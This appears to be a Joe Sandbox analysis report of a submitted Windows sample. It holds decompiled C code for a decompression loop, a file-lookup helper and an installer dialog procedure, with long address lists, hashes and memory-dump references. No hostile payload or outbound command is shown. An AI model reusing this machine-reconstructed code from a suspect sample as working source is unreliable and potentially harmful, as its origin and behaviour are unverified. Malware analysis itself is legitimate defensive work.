									 *_t338 =  *(__ebp - 0x48) - 1;
									__eflags =  *_t338;
									goto L102;
								} else {
									goto L99;
								}
							}
							__edx =  *(__ebp - 4);
							__eax = __eax - __ebx;
							 *(__ebp - 0x40) = __ecx;
							__eax =  *(__ebp - 4) + 0x55e + __eax * 2;
							goto L108;
						case 0x1a:
							goto L55;
						case 0x1b:
							L75:
							__eflags =  *(__ebp - 0x64);
							if( *(__ebp - 0x64) == 0) {
								 *(__ebp - 0x88) = 0x1b;
								goto L170;
							}
							__eax =  *(__ebp - 0x14);
							__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
							__eflags = __eax -  *(__ebp - 0x74);
							if(__eax >=  *(__ebp - 0x74)) {
								__eax = __eax +  *(__ebp - 0x74);
								__eflags = __eax;
							}
							__edx =  *(__ebp - 8);
							__cl =  *(__eax + __edx);
							__eax =  *(__ebp - 0x14);
							 *(__ebp - 0x5c) = __cl;
							 *(__eax + __edx) = __cl;
							__eax = __eax + 1;
							__edx = 0;
							_t274 = __eax %  *(__ebp - 0x74);
							__eax = __eax /  *(__ebp - 0x74);
							__edx = _t274;
							__eax =  *(__ebp - 0x68);
							 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
							 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
							_t283 = __ebp - 0x64;
							 *_t283 =  *(__ebp - 0x64) - 1;
							__eflags =  *_t283;
							 *( *(__ebp - 0x68)) = __cl;
							goto L79;
						case 0x1c:
							while(1) {
								L123:
								__eflags =  *(__ebp - 0x64);
								if( *(__ebp - 0x64) == 0) {
									break;
								}
								__eax =  *(__ebp - 0x14);
								__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
								__eflags = __eax -  *(__ebp - 0x74);
								if(__eax >=  *(__ebp - 0x74)) {
									__eax = __eax +  *(__ebp - 0x74);
									__eflags = __eax;
								}
								__edx =  *(__ebp - 8);
								__cl =  *(__eax + __edx);
								__eax =  *(__ebp - 0x14);
								 *(__ebp - 0x5c) = __cl;
								 *(__eax + __edx) = __cl;
								__eax = __eax + 1;
								__edx = 0;
								_t414 = __eax %  *(__ebp - 0x74);
								__eax = __eax /  *(__ebp - 0x74);
								__edx = _t414;
								__eax =  *(__ebp - 0x68);
								 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
								 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
								 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
								__eflags =  *(__ebp - 0x30);
								 *( *(__ebp - 0x68)) = __cl;
								 *(__ebp - 0x14) = __edx;
								if( *(__ebp - 0x30) > 0) {
									continue;
								} else {
									goto L80;
								}
							}
							 *(__ebp - 0x88) = 0x1c;
							goto L170;
					}
				}
			}

0x00000000
0x00406925
0x00406925
0x0040692a
0x004069a1
0x004069a8
0x004069b2
0x00406f91
0x00406f91
0x00406f94
0x00406f94
0x00406f9a
0x00406fa0
0x00406fa6
0x00406fc0
0x00406fc3
0x00406fc9
0x00406fd4
0x00406fd6
0x00406fa8
0x00406fa8
0x00406fb7
0x00406fbb
0x00406fbb
0x00406fe0
0x00407007
0x00407007
0x0040700d
0x0040700d
0x00000000
0x00406fe2
0x00406fe2
0x00406fe6
0x00407195
0x00000000
0x00407195
0x00406ff2
0x00406ff9
0x00407001
0x00407004
0x00000000
0x00407004
0x0040692c
0x0040692c
0x00406930
0x00406938
0x0040693b
0x0040693d
0x00406940
0x00406942
0x00406947
0x0040694a
0x00406951
0x00406958
0x0040695b
0x00406966
0x0040696e
0x0040696e
0x00406968
0x00406968
0x00406968
0x0040695d
0x0040695d
0x0040695d
0x00406975
0x00406993
0x00406995
0x00406b68
0x00406b68
0x00406b6b
0x00406b6e
0x00406b71
0x00406b74
0x00406b77
0x00406b7a
0x00406b7d
0x00406b80
0x00406b86
0x00406b9e
0x00406ba1
0x00406ba4
0x00406ba7
0x00406ba7
0x00406baa
0x00406bb0
0x00406b88
0x00406b88
0x00406b90
0x00406b95
0x00406b97
0x00406b99
0x00406b99
0x00406bba
0x00406bbd
0x00406b60
0x00406b66
0x00000000
0x00000000
0x00000000
0x00406bbf
0x00406b3b
0x00406b3f
0x00407147
0x00000000
0x00407147
0x00406b45
0x00406b48
0x00406b4b
0x00406b4f
0x00406b52
0x00406b58
0x00406b5a
0x00406b5a
0x00406b5d
0x00000000
0x00406b5d
0x00406977
0x00406977
0x0040697a
0x00406980
0x00406982
0x00406982
0x00406985
0x00406988
0x0040698a
0x0040698b
0x0040698e
0x004069fb
0x004069fb
0x004069ff
0x00406a02
0x00406a05
0x00406a08
0x00406a0b
0x00406a0c
0x00406a0f
0x00406a11
0x00406a17
0x00406a1a
0x00406a1d
0x00406a20
0x00406a23
0x00406a29
0x00406a45
0x00406a48
0x00406a4b
0x00406a4e
0x00406a55
0x00406a5b
0x00406a5f
0x00406a2b
0x00406a2b
0x00406a2f
0x00406a37
0x00406a3c
0x00406a3e
0x00406a40
0x00406a40
0x00406a69
0x00406a6c
0x004069e3
0x004069e3
0x004069e9
0x00406a9c
0x00406aa2
0x00000000
0x00000000
0x00406aa4
0x00406aa7
0x00406aaa
0x00406aad
0x00406ab0
0x00406ab3
0x00406ab6
0x00406ab9
0x00406abc
0x00406ac2
0x00406ada
0x00406add
0x00406ae0
0x00406ae3
0x00406ae3
0x00406ae6
0x00406aec
0x00406ac4
0x00406ac4
0x00406acc
0x00406ad1
0x00406ad3
0x00406ad5
0x00406ad5
0x00406af6
0x00406af9
0x00406a77
0x00406a7b
0x0040713b
0x00000000
0x0040713b
0x00406a81
0x00406a84
0x00406a87
0x00406a8b
0x00406a8e
0x00406a94
0x00406a96
0x00406a96
0x00406a99
0x00406a99
0x00406af9
0x00406b00
0x00406b00
0x00406b00
0x00406b04
0x00406b04
0x00406b07
0x00406b0a
0x00406b0e
0x00407153
0x00000000
0x00407153
0x00406b14
0x00406b17
0x00406b1a
0x00406b1d
0x00406b20
0x00406b23
0x00406b26
0x00406b28
0x00406b2b
0x00406b2e
0x00406b31
0x00406b33
0x00406b33
0x00406b33
0x00406cd0
0x00406cd0
0x00406cd3
0x00406cd3
0x00000000
0x00406cd3
0x004069f5
0x00000000
0x00000000
0x00000000
0x00406a72
0x004069be
0x004069c2
0x0040712f
0x004071ab
0x004071b3
0x004071ba
0x004071bc
0x004071c3
0x004071c7
0x004071c7
0x004069c8
0x004069cb
0x004069ce
0x004069d2
0x004069d5
0x004069db
0x004069dd
0x004069dd
0x004069e0
0x00000000
0x004069e0
0x00406a6c
0x00406975
0x004067a9
0x004067a9
0x004067b2
0x004071c0
0x004071c0
0x00000000
0x004071c0
0x004067b8
0x00000000
0x004067c3
0x00000000
0x00000000
0x004067cc
0x004067cf
0x004067d2
0x004067d6
0x00000000
0x00000000
0x004067dc
0x004067df
0x004067e1
0x004067e2
0x004067e5
0x004067e7
0x004067e8
0x004067ea
0x004067ed
0x004067f2
0x004067f7
0x00406800
0x00406813
0x00406816
0x00406822
0x0040684a
0x0040684c
0x0040685a
0x0040685a
0x0040685e
0x00000000
0x00000000
0x00000000
0x00000000
0x0040684e
0x0040684e
0x00406851
0x00406852
0x00406852
0x00000000
0x0040684e
0x00406828
0x0040682d
0x0040682d
0x00406836
0x0040683e
0x00406841
0x00000000
0x00406847
0x00406847
0x00000000
0x00406847
0x00000000
0x00406864
0x00406864
0x00406868
0x00407114
0x00000000
0x00407114
0x00406871
0x00406881
0x00406884
0x00406887
0x00406887
0x00406887
0x0040688a
0x0040688e
0x00000000
0x00000000
0x00406890
0x00406896
0x004068c0
0x004068c6
0x004068cd
0x00000000
0x004068cd
0x0040689c
0x0040689f
0x004068a4
0x004068a4
0x004068af
0x004068b7
0x004068ba
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x004068ff
0x00406905
0x00406908
0x00406915
0x0040691d
0x00000000
0x00000000
0x004068d4
0x004068d4
0x004068d8
0x00407123
0x00000000
0x00407123
0x004068e4
0x004068ef
0x004068ef
0x004068ef
0x004068f2
0x004068f5
0x004068f8
0x004068fd
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00406bc4
0x00406bc8
0x00406be6
0x00406be9
0x00406bf0
0x00406bf3
0x00406bf6
0x00406bf9
0x00406bfc
0x00406bff
0x00406c01
0x00406c08
0x00406c09
0x00406c0b
0x00406c0e
0x00406c11
0x00406c14
0x00406c14
0x00406c19
0x00000000
0x00406c19
0x00406bca
0x00406bcd
0x00406bd0
0x00406bda
0x00000000
0x00000000
0x00406c2e
0x00406c32
0x00406c55
0x00406c58
0x00406c5b
0x00406c65
0x00406c34
0x00406c34
0x00406c37
0x00406c3a
0x00406c3d
0x00406c4a
0x00406c4d
0x00406c4d
0x00000000
0x00000000
0x00406c71
0x00406c75
0x00000000
0x00000000
0x00406c7b
0x00406c7f
0x00000000
0x00000000
0x00406c85
0x00406c87
0x00406c8b
0x00406c8b
0x00406c8e
0x00406c92
0x00000000
0x00000000
0x00406ce2
0x00406ce6
0x00406ced
0x00406cf0
0x00406cf3
0x00406cfd
0x00000000
0x00406cfd
0x00406ce8
0x00000000
0x00000000
0x00406d09
0x00406d0d
0x00406d14
0x00406d17
0x00406d1a
0x00406d0f
0x00406d0f
0x00406d0f
0x00406d1d
0x00406d20
0x00406d23
0x00406d23
0x00406d26
0x00406d29
0x00406d2c
0x00406d2c
0x00406d2f
0x00406d36
0x00406d3b
0x00000000
0x00000000
0x00406dc9
0x00406dc9
0x00406dcd
0x0040716b
0x00000000
0x0040716b
0x00406dd3
0x00406dd6
0x00406dd9
0x00406ddd
0x00406de0
0x00406de6
0x00406de8
0x00406de8
0x00406de8
0x00406deb
0x00406dee
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00406e4c
0x00406e4c
0x00406e50
0x00407177
0x00000000
0x00407177
0x00406e56
0x00406e59
0x00406e5c
0x00406e60
0x00406e63
0x00406e69
0x00406e6b
0x00406e6b
0x00406e6b
0x00406e6e
0x00000000
0x00000000
0x00406c1c
0x00406c1c
0x00406c1f
0x00000000
0x00000000
0x00406f5b
0x00406f5f
0x00406f81
0x00406f84
0x00406f8e
0x00000000
0x00406f8e
0x00406f61
0x00406f64
0x00406f68
0x00406f6b
0x00406f6b
0x00406f6e
0x00000000
0x00000000
0x00407018
0x0040701c
0x0040703a
0x0040703a
0x0040703a
0x00407041
0x00407048
0x0040704f
0x0040704f
0x00000000
0x0040704f
0x0040701e
0x00407021
0x00407024
0x00407027
0x0040702e
0x00406f72
0x00406f72
0x00406f75
0x00000000
0x00000000
0x00407109
0x0040710c
0x00000000
0x00000000
0x00406d43
0x00406d45
0x00406d4c
0x00406d4d
0x00406d4f
0x00406d52
0x00000000
0x00000000
0x00406d5a
0x00406d5d
0x00406d60
0x00406d62
0x00406d64
0x00406d64
0x00406d65
0x00406d68
0x00406d6f
0x00406d72
0x00406d80
0x00000000
0x00000000
0x00407056
0x00407056
0x00407059
0x00407060
0x00000000
0x00000000
0x00407065
0x00407065
0x00407069
0x004071a1
0x00000000
0x004071a1
0x0040706f
0x00407072
0x00407075
0x00407079
0x0040707c
0x00407082
0x00407084
0x00407084
0x00407084
0x00407087
0x0040708a
0x0040708a
0x0040708a
0x0040708a
0x0040708d
0x0040708d
0x00407091
0x004070f1
0x004070f4
0x004070f9
0x004070fa
0x004070fc
0x004070fe
0x00407101
0x00000000
0x00407101
0x00407093
0x00407099
0x0040709c
0x0040709f
0x004070a2
0x004070a5
0x004070a8
0x004070ab
0x004070ae
0x004070b1
0x004070b4
0x004070cd
0x004070d0
0x004070d3
0x004070d6
0x004070da
0x004070dc
0x004070dc
0x004070dd
0x004070e0
0x004070b6
0x004070b6
0x004070be
0x004070c3
0x004070c5
0x004070c8
0x004070c8
0x004070e3
0x004070ea
0x00000000
0x004070ec
0x00000000
0x004070ec
0x00000000
0x00406d88
0x00406d8b
0x00406dc1
0x00406ef1
0x00406ef1
0x00406ef1
0x00406ef1
0x00406ef4
0x00406ef4
0x00406ef7
0x00406ef9
0x00407183
0x00000000
0x00407183
0x00406eff
0x00406f02
0x00000000
0x00000000
0x00406f08
0x00406f0c
0x00406f0f
0x00406f0f
0x00406f0f
0x00000000
0x00406f0f
0x00406d8d
0x00406d8f
0x00406d91
0x00406d93
0x00406d96
0x00406d97
0x00406d99
0x00406d9b
0x00406d9e
0x00406da1
0x00406db7
0x00406dbc
0x00406df4
0x00406df4
0x00406df8
0x00406e24
0x00406e26
0x00406e2d
0x00406e30
0x00406e33
0x00406e33
0x00406e38
0x00406e38
0x00406e3a
0x00406e3d
0x00406e44
0x00406e47
0x00406e74
0x00406e74
0x00406e77
0x00406e7a
0x00406eee
0x00406eee
0x00406eee
0x00000000
0x00406eee
0x00406e7c
0x00406e82
0x00406e85
0x00406e88
0x00406e8b
0x00406e8e
0x00406e91
0x00406e94
0x00406e97
0x00406e9a
0x00406e9d
0x00406eb6
0x00406eb8
0x00406ebb
0x00406ebc
0x00406ebf
0x00406ec1
0x00406ec4
0x00406ec6
0x00406ec8
0x00406ecb
0x00406ecd
0x00406ed0
0x00406ed4
0x00406ed6
0x00406ed6
0x00406ed7
0x00406eda
0x00406edd
0x00406e9f
0x00406e9f
0x00406ea7
0x00406eac
0x00406eae
0x00406eb1
0x00406eb1
0x00406ee0
0x00406ee7
0x00406e71
0x00406e71
0x00406e71
0x00406e71
0x00000000
0x00406ee9
0x00000000
0x00406ee9
0x00406ee7
0x00406dfa
0x00406dfd
0x00406dff
0x00406e02
0x00406e05
0x00406e08
0x00406e0a
0x00406e0d
0x00406e10
0x00406e10
0x00406e13
0x00406e13
0x00406e16
0x00406e1d
0x00406df1
0x00406df1
0x00406df1
0x00406df1
0x00000000
0x00406e1f
0x00000000
0x00406e1f
0x00406e1d
0x00406da3
0x00406da6
0x00406da8
0x00406dab
0x00000000
0x00000000
0x00000000
0x00000000
0x00406c95
0x00406c95
0x00406c99
0x0040715f
0x00000000
0x0040715f
0x00406c9f
0x00406ca2
0x00406ca5
0x00406ca8
0x00406caa
0x00406caa
0x00406caa
0x00406cad
0x00406cb0
0x00406cb3
0x00406cb6
0x00406cb9
0x00406cbc
0x00406cbd
0x00406cbf
0x00406cbf
0x00406cbf
0x00406cc2
0x00406cc5
0x00406cc8
0x00406ccb
0x00406ccb
0x00406ccb
0x00406cce
0x00000000
0x00000000
0x00406f12
0x00406f12
0x00406f12
0x00406f16
0x00000000
0x00000000
0x00406f1c
0x00406f1f
0x00406f22
0x00406f25
0x00406f27
0x00406f27
0x00406f27
0x00406f2a
0x00406f2d
0x00406f30
0x00406f33
0x00406f36
0x00406f39
0x00406f3a
0x00406f3c
0x00406f3c
0x00406f3c
0x00406f3f
0x00406f42
0x00406f45
0x00406f48
0x00406f4b
0x00406f4f
0x00406f51
0x00406f54
0x00000000
0x00406f56
0x00000000
0x00406f56
0x00406f54
0x00407189
0x00000000
0x00000000
0x004067b8

Memory Dump Source

Source File: 00000000.00000002.3277540593.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3277507921.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277597774.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277933732.0000000000435000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sOjxIU25DP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 69107d409a21aceab355f2bdda7f7152adad7d75b4471f7616c4440fbc630a2e
Instruction ID: 6d311f2402807b87ac493386ce59d8e56409eb9bb3693b5a24021ea98ba03221
Opcode Fuzzy Hash: 69107d409a21aceab355f2bdda7f7152adad7d75b4471f7616c4440fbc630a2e
Instruction Fuzzy Hash: 3AF18571D04229CBDF28CFA8C8946ADBBB1FF44305F25816ED456BB281D3786A86CF45

Uniqueness

Uniqueness Score: -1.00%

Function 0040659C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 14
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040659C(CHAR* _a4) {
				void* _t2;

				_t2 = FindFirstFileA(_a4, 0x4225a0); // executed
				if(_t2 == 0xffffffff) {
					return 0;
				}
				FindClose(_t2); // executed
				return 0x4225a0;
			}

0x004065a7
0x004065b0
0x00000000
0x004065bd
0x004065b3
0x00000000

APIs

FindFirstFileA.KERNELBASE(76783410,004225A0,C:\Users\user\AppData\Local\Temp\nsnC2E5.tmp,00405CF1,C:\Users\user\AppData\Local\Temp\nsnC2E5.tmp,C:\Users\user\AppData\Local\Temp\nsnC2E5.tmp,00000000,C:\Users\user\AppData\Local\Temp\nsnC2E5.tmp,C:\Users\user\AppData\Local\Temp\nsnC2E5.tmp,76783410,?,76782EE0,00405A10,?,76783410,76782EE0), ref: 004065A7
FindClose.KERNELBASE(00000000), ref: 004065B3

Strings

C:\Users\user\AppData\Local\Temp\nsnC2E5.tmp, xrefs: 0040659C

Memory Dump Source

Source File: 00000000.00000002.3277540593.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3277507921.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277597774.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277933732.0000000000435000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sOjxIU25DP.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID: C:\Users\user\AppData\Local\Temp\nsnC2E5.tmp
API String ID: 2295610775-1088140213
Opcode ID: a8a8e6ca181c7703a692eace486e77433675a7c42b8a8fe2eb47bb99df7a0189
Instruction ID: f69e928bf0ac745f57f8f0961b1e49234d8ba52852923c3f30ba08d6865e50e3
Opcode Fuzzy Hash: a8a8e6ca181c7703a692eace486e77433675a7c42b8a8fe2eb47bb99df7a0189
Instruction Fuzzy Hash: 64D01231615130FBC3411B38BE0C84B7A5C9F093303619B36F466F12E4D7748D62869C

Uniqueness

Uniqueness Score: -1.00%

Function 00403DD8 Relevance: 58.1, APIs: 32, Strings: 1, Instructions: 346
windowstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 84%

			E00403DD8(struct HWND__* _a4, signed int _a8, int _a12, long _a16) {
				struct HWND__* _v32;
				void* _v84;
				void* _v88;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t35;
				signed int _t37;
				signed int _t39;
				struct HWND__* _t49;
				signed int _t68;
				struct HWND__* _t74;
				signed int _t87;
				struct HWND__* _t92;
				signed int _t100;
				int _t104;
				signed int _t116;
				signed int _t117;
				int _t118;
				signed int _t123;
				struct HWND__* _t126;
				struct HWND__* _t127;
				int _t128;
				long _t131;
				int _t133;
				int _t134;
				void* _t135;
				void* _t143;

				_t116 = _a8;
				if(_t116 == 0x110 || _t116 == 0x408) {
					_t35 = _a12;
					_t126 = _a4;
					__eflags = _t116 - 0x110;
					 *0x420d38 = _t35;
					if(_t116 == 0x110) {
						 *0x424748 = _t126;
						 *0x420d4c = GetDlgItem(_t126, 1);
						_t92 = GetDlgItem(_t126, 2);
						_push(0xffffffff);
						_push("true");
						 *0x41fd18 = _t92;
						E004042AC(_t126);
						SetClassLongA(_t126, 0xfffffff2,  *0x423f28);
						 *0x423f0c = E0040140B("true");
						_t35 = 1;
						__eflags = 1;
						 *0x420d38 = 1;
					}
					_t123 =  *0x40a1f8; // 0x0
					_t134 = 0;
					_t131 = (_t123 << 6) +  *0x424780;
					__eflags = _t123;
					if(_t123 < 0) {
						L34:
						E004042F8(0x40b);
						while(1) {
							_t37 =  *0x420d38; // 0x1
							 *0x40a1f8 =  *0x40a1f8 + _t37;
							_t131 = _t131 + (_t37 << 6);
							_t39 =  *0x40a1f8; // 0x0
							__eflags = _t39 -  *0x424784;
							if(_t39 ==  *0x424784) {
								E0040140B(1);
							}
							__eflags =  *0x423f0c - _t134; // 0x0
							if(__eflags != 0) {
								break;
							}
							__eflags =  *0x40a1f8 -  *0x424784; // 0x0
							if(__eflags >= 0) {
								break;
							}
							_t117 =  *(_t131 + 0x14);
							E004062BB(_t117, _t126, _t131, 0x42c800,  *((intOrPtr*)(_t131 + 0x24)));
							_push( *((intOrPtr*)(_t131 + 0x20)));
							_push(0xfffffc19);
							E004042AC(_t126);
							_push( *((intOrPtr*)(_t131 + 0x1c)));
							_push(0xfffffc1b);
							E004042AC(_t126);
							_push( *((intOrPtr*)(_t131 + 0x28)));
							_push(0xfffffc1a);
							E004042AC(_t126);
							_t49 = GetDlgItem(_t126, 3);
							__eflags =  *0x4247ec - _t134;
							_v32 = _t49;
							if( *0x4247ec != _t134) {
								_t117 = _t117 & 0x0000fefd | 0x00000004;
								__eflags = _t117;
							}
							ShowWindow(_t49, _t117 & 0x00000008); // executed
							EnableWindow( *(_t135 + 0x30), _t117 & 0x00000100); // executed
							E004042CE(_t117 & 0x00000002);
							_t118 = _t117 & 0x00000004;
							EnableWindow( *0x41fd18, _t118);
							__eflags = _t118 - _t134;
							if(_t118 == _t134) {
								_push(1);
							} else {
								_push(_t134);
							}
							EnableMenuItem(GetSystemMenu(_t126, _t134), 0xf060, ??);
							SendMessageA( *(_t135 + 0x38), 0xf4, _t134, 1);
							__eflags =  *0x4247ec - _t134;
							if( *0x4247ec == _t134) {
								_push( *0x420d4c);
							} else {
								SendMessageA(_t126, 0x401, 2, _t134);
								_push( *0x41fd18);
							}
							E004042E1();
							E00406228(0x420d50, E00403DB9());
							E004062BB(0x420d50, _t126, _t131,  &(0x420d50[lstrlenA(0x420d50)]),  *((intOrPtr*)(_t131 + 0x18)));
							SetWindowTextA(_t126, 0x420d50); // executed
							_push(_t134);
							_t68 = E00401389( *((intOrPtr*)(_t131 + 8)));
							__eflags = _t68;
							if(_t68 != 0) {
								continue;
							} else {
								__eflags =  *_t131 - _t134;
								if( *_t131 == _t134) {
									continue;
								}
								__eflags =  *(_t131 + 4) - 5;
								if( *(_t131 + 4) != 5) {
									DestroyWindow( *0x423f18); // executed
									 *0x420528 = _t131;
									__eflags =  *_t131 - _t134;
									if( *_t131 <= _t134) {
										goto L58;
									}
									_t74 = CreateDialogParamA( *0x424740,  *_t131 +  *0x423f20 & 0x0000ffff, _t126,  *(0x40a1fc +  *(_t131 + 4) * 4), _t131); // executed
									__eflags = _t74 - _t134;
									 *0x423f18 = _t74;
									if(_t74 == _t134) {
										goto L58;
									}
									_push( *((intOrPtr*)(_t131 + 0x2c)));
									_push(6);
									E004042AC(_t74);
									GetWindowRect(GetDlgItem(_t126, 0x3fa), _t135 + 0x10);
									ScreenToClient(_t126, _t135 + 0x10);
									SetWindowPos( *0x423f18, _t134,  *(_t135 + 0x20),  *(_t135 + 0x20), _t134, _t134, 0x15);
									_push(_t134);
									E00401389( *((intOrPtr*)(_t131 + 0xc)));
									__eflags =  *0x423f0c - _t134; // 0x0
									if(__eflags != 0) {
										goto L61;
									}
									ShowWindow( *0x423f18, "true"); // executed
									E004042F8(0x405);
									goto L58;
								}
								__eflags =  *0x4247ec - _t134;
								if( *0x4247ec != _t134) {
									goto L61;
								}
								__eflags =  *0x4247e0 - _t134;
								if( *0x4247e0 != _t134) {
									continue;
								}
								goto L61;
							}
						}
						DestroyWindow( *0x423f18);
						 *0x424748 = _t134;
						EndDialog(_t126,  *0x420120);
						goto L58;
					} else {
						__eflags = _t35 - 1;
						if(_t35 != 1) {
							L33:
							__eflags =  *_t131 - _t134;
							if( *_t131 == _t134) {
								goto L61;
							}
							goto L34;
						}
						_push(0);
						_t87 = E00401389( *((intOrPtr*)(_t131 + 0x10)));
						__eflags = _t87;
						if(_t87 == 0) {
							goto L33;
						}
						SendMessageA( *0x423f18, 0x40f, 0, 1);
						__eflags =  *0x423f0c - _t134; // 0x0
						return 0 | __eflags == 0x00000000;
					}
				} else {
					_t126 = _a4;
					_t134 = 0;
					if(_t116 == 0x47) {
						SetWindowPos( *0x420d30, _t126, 0, 0, 0, 0, 0x13);
					}
					if(_t116 == 5) {
						asm("sbb eax, eax");
						ShowWindow( *0x420d30,  ~(_a12 - 1) & _t116);
					}
					if(_t116 != 0x40d) {
						__eflags = _t116 - 0x11;
						if(_t116 != 0x11) {
							__eflags = _t116 - 0x111;
							if(_t116 != 0x111) {
								L26:
								return E00404313(_t116, _a12, _a16);
							}
							_t133 = _a12 & 0x0000ffff;
							_t127 = GetDlgItem(_t126, _t133);
							__eflags = _t127 - _t134;
							if(_t127 == _t134) {
								L13:
								__eflags = _t133 - 1;
								if(_t133 != 1) {
									__eflags = _t133 - 3;
									if(_t133 != 3) {
										_t128 = 2;
										__eflags = _t133 - _t128;
										if(_t133 != _t128) {
											L25:
											SendMessageA( *0x423f18, 0x111, _a12, _a16);
											goto L26;
										}
										__eflags =  *0x4247ec - _t134;
										if( *0x4247ec == _t134) {
											_t100 = E0040140B(3);
											__eflags = _t100;
											if(_t100 != 0) {
												goto L26;
											}
											 *0x420120 = 1;
											L21:
											_push("true");
											L22:
											E00404285();
											goto L26;
										}
										E0040140B(_t128);
										 *0x420120 = _t128;
										goto L21;
									}
									__eflags =  *0x40a1f8 - _t134; // 0x0
									if(__eflags <= 0) {
										goto L25;
									}
									_push(0xffffffff);
									goto L22;
								}
								_push(_t133);
								goto L22;
							}
							SendMessageA(_t127, 0xf3, _t134, _t134);
							_t104 = IsWindowEnabled(_t127);
							__eflags = _t104;
							if(_t104 == 0) {
								goto L61;
							}
							goto L13;
						}
						SetWindowLongA(_t126, _t134, _t134);
						return 1;
					} else {
						DestroyWindow( *0x423f18);
						 *0x423f18 = _a12;
						L58:
						if( *0x421d50 == _t134) {
							_t143 =  *0x423f18 - _t134; // 0x1043a
							if(_t143 != 0) {
								ShowWindow(_t126, 0xa); // executed
								 *0x421d50 = 1;
							}
						}
						L61:
						return 0;
					}
				}
			}

0x00403de1
0x00403dea
0x00403f2b
0x00403f2f
0x00403f33
0x00403f35
0x00403f3a
0x00403f45
0x00403f50
0x00403f55
0x00403f57
0x00403f59
0x00403f5c
0x00403f61
0x00403f6f
0x00403f7c
0x00403f83
0x00403f83
0x00403f84
0x00403f84
0x00403f89
0x00403f8f
0x00403f96
0x00403f9c
0x00403f9e
0x00403fde
0x00403fe3
0x00403fe8
0x00403fe8
0x00403fed
0x00403ff6
0x00403ff8
0x00403ffd
0x00404003
0x00404007
0x00404007
0x0040400c
0x00404012
0x00000000
0x00000000
0x0040401d
0x00404023
0x00000000
0x00000000
0x0040402c
0x00404034
0x00404039
0x0040403c
0x00404042
0x00404047
0x0040404a
0x00404050
0x00404055
0x00404058
0x0040405e
0x00404066
0x0040406c
0x00404072
0x00404076
0x0040407d
0x0040407d
0x0040407d
0x00404087
0x00404099
0x004040a5
0x004040aa
0x004040b4
0x004040ba
0x004040bc
0x004040c1
0x004040be
0x004040be
0x004040be
0x004040d1
0x004040e9
0x004040eb
0x004040f1
0x00404106
0x004040f3
0x004040fc
0x004040fe
0x004040fe
0x0040410c
0x0040411d
0x0040412e
0x00404135
0x0040413b
0x0040413f
0x00404144
0x00404146
0x00000000
0x0040414c
0x0040414c
0x0040414e
0x00000000
0x00000000
0x00404154
0x00404158
0x0040417d
0x00404183
0x00404189
0x0040418b
0x00000000
0x00000000
0x004041b1
0x004041b7
0x004041b9
0x004041be
0x00000000
0x00000000
0x004041c4
0x004041c7
0x004041ca
0x004041e1
0x004041ed
0x00404206
0x0040420c
0x00404210
0x00404215
0x0040421b
0x00000000
0x00000000
0x00404225
0x00404230
0x00000000
0x00404230
0x0040415a
0x00404160
0x00000000
0x00000000
0x00404166
0x0040416c
0x00000000
0x00000000
0x00000000
0x00404172
0x00404146
0x0040423d
0x00404249
0x00404250
0x00000000
0x00403fa0
0x00403fa0
0x00403fa3
0x00403fd6
0x00403fd6
0x00403fd8
0x00000000
0x00000000
0x00000000
0x00403fd8
0x00403fa5
0x00403fa9
0x00403fae
0x00403fb0
0x00000000
0x00000000
0x00403fc0
0x00403fc8
0x00000000
0x00403fce
0x00403dfc
0x00403dfc
0x00403e00
0x00403e05
0x00403e14
0x00403e14
0x00403e1d
0x00403e26
0x00403e31
0x00403e31
0x00403e3d
0x00403e59
0x00403e5c
0x00403e6f
0x00403e75
0x00403f18
0x00000000
0x00403f21
0x00403e7b
0x00403e88
0x00403e8a
0x00403e8c
0x00403eab
0x00403eab
0x00403eae
0x00403eb3
0x00403eb6
0x00403ec6
0x00403ec7
0x00403ec9
0x00403eff
0x00403f12
0x00000000
0x00403f12
0x00403ecb
0x00403ed1
0x00403eea
0x00403eef
0x00403ef1
